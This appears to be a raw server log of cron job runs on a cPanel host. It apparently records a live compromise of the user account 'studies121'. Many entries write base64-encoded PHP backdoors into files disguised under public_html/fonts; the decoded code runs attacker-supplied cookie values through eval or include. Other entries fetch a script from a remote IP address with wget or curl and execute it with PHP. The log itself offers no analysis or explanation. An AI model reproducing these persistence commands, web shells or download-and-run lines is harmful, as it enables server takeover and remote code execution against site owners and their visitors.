Sep  3 18:39:01 ip-184-168-122-23 CROND[15270]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 18:39:01 ip-184-168-122-23 CROND[15269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:39:01 ip-184-168-122-23 CROND[15273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:39:01 ip-184-168-122-23 CROND[15272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:40:01 ip-184-168-122-23 CROND[15365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:40:01 ip-184-168-122-23 CROND[15366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:40:01 ip-184-168-122-23 CROND[15368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:40:01 ip-184-168-122-23 CROND[15370]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:40:01 ip-184-168-122-23 CROND[15374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:40:01 ip-184-168-122-23 CROND[15372]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:40:01 ip-184-168-122-23 CROND[15379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:40:01 ip-184-168-122-23 CROND[15380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:41:01 ip-184-168-122-23 CROND[15467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:41:01 ip-184-168-122-23 CROND[15471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:41:01 ip-184-168-122-23 CROND[15470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:41:01 ip-184-168-122-23 CROND[15469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:42:01 ip-184-168-122-23 CROND[15555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:42:01 ip-184-168-122-23 CROND[15556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:42:01 ip-184-168-122-23 CROND[15557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:42:01 ip-184-168-122-23 CROND[15558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:42:01 ip-184-168-122-23 CROND[15559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:43:01 ip-184-168-122-23 CROND[15761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:43:01 ip-184-168-122-23 CROND[15765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:43:01 ip-184-168-122-23 CROND[15764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:43:01 ip-184-168-122-23 CROND[15768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:44:01 ip-184-168-122-23 CROND[15894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:44:01 ip-184-168-122-23 CROND[15896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:44:01 ip-184-168-122-23 CROND[15898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:44:01 ip-184-168-122-23 CROND[15899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:44:01 ip-184-168-122-23 CROND[15900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:45:02 ip-184-168-122-23 CROND[15987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:45:02 ip-184-168-122-23 CROND[15989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:45:02 ip-184-168-122-23 CROND[15993]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:45:02 ip-184-168-122-23 CROND[15992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:45:02 ip-184-168-122-23 CROND[15990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:45:02 ip-184-168-122-23 CROND[15994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:46:01 ip-184-168-122-23 CROND[16160]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 18:46:01 ip-184-168-122-23 CROND[16159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:46:01 ip-184-168-122-23 CROND[16163]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:46:01 ip-184-168-122-23 CROND[16165]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 18:46:01 ip-184-168-122-23 CROND[16164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:46:01 ip-184-168-122-23 CROND[16166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:46:01 ip-184-168-122-23 CROND[16167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:47:01 ip-184-168-122-23 CROND[16252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:47:01 ip-184-168-122-23 CROND[16255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:47:01 ip-184-168-122-23 CROND[16256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:47:01 ip-184-168-122-23 CROND[16254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:48:01 ip-184-168-122-23 CROND[16333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:48:01 ip-184-168-122-23 CROND[16336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:48:01 ip-184-168-122-23 CROND[16335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:48:01 ip-184-168-122-23 CROND[16337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:48:01 ip-184-168-122-23 CROND[16338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:49:01 ip-184-168-122-23 CROND[16507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:49:01 ip-184-168-122-23 CROND[16509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:49:01 ip-184-168-122-23 CROND[16511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:49:01 ip-184-168-122-23 CROND[16510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:50:01 ip-184-168-122-23 CROND[16617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:50:01 ip-184-168-122-23 CROND[16620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:50:01 ip-184-168-122-23 CROND[16621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:50:01 ip-184-168-122-23 CROND[16625]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 18:50:01 ip-184-168-122-23 CROND[16627]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:50:01 ip-184-168-122-23 CROND[16630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:50:01 ip-184-168-122-23 CROND[16633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:50:01 ip-184-168-122-23 CROND[16632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:50:01 ip-184-168-122-23 CROND[16629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:51:01 ip-184-168-122-23 CROND[16726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:51:01 ip-184-168-122-23 CROND[16728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
